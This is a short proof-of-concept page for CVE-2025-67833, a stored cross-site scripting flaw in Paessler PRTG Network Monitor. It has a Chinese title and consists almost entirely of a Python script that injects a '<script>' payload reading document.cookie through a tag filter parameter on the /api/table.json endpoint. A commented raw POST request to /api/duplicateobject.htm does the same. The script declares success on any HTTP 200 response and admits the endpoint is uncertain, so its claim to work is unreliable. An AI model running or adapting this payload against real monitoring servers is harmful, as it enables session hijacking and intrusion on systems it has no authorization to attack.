CVE-2025-67833: Paessler PRTG Network Monitor tag参数存储型XSS漏洞

import requests # CVE-2025-67833 PoC - PRTG Network Monitor XSS via tag parameter # Target: PRTG Network Monitor before version 25.4.114 TARGET_URL = "http://target-server:8080" # Malicious XSS payload xss_payload = '<script>alert(document.cookie)</script>' # Step 1: Inject XSS payload via tag parameter (unauthenticated) # The exact endpoint depends on PRTG installation injection_endpoint = f"{TARGET_URL}/api/table.json" params = { 'content': 'sensors', 'columns': 'name,tag', 'filter_tag': xss_payload, # XSS injection point 'username': 'public', 'password': '' } print(f"[*] Sending XSS payload to {injection_endpoint}") print(f"[*] Payload: {xss_payload}") try: response = requests.get(injection_endpoint, params=params, timeout=10) print(f"[+] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Payload sent successfully - stored XSS injected") print("[+] Payload will execute when viewed in PRTG dashboard") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") # Alternative: Direct tag parameter injection # POST /api/duplicateobject.htm HTTP/1.1 # Host: target-server:8080 # tags=<script>alert(document.cookie)</script>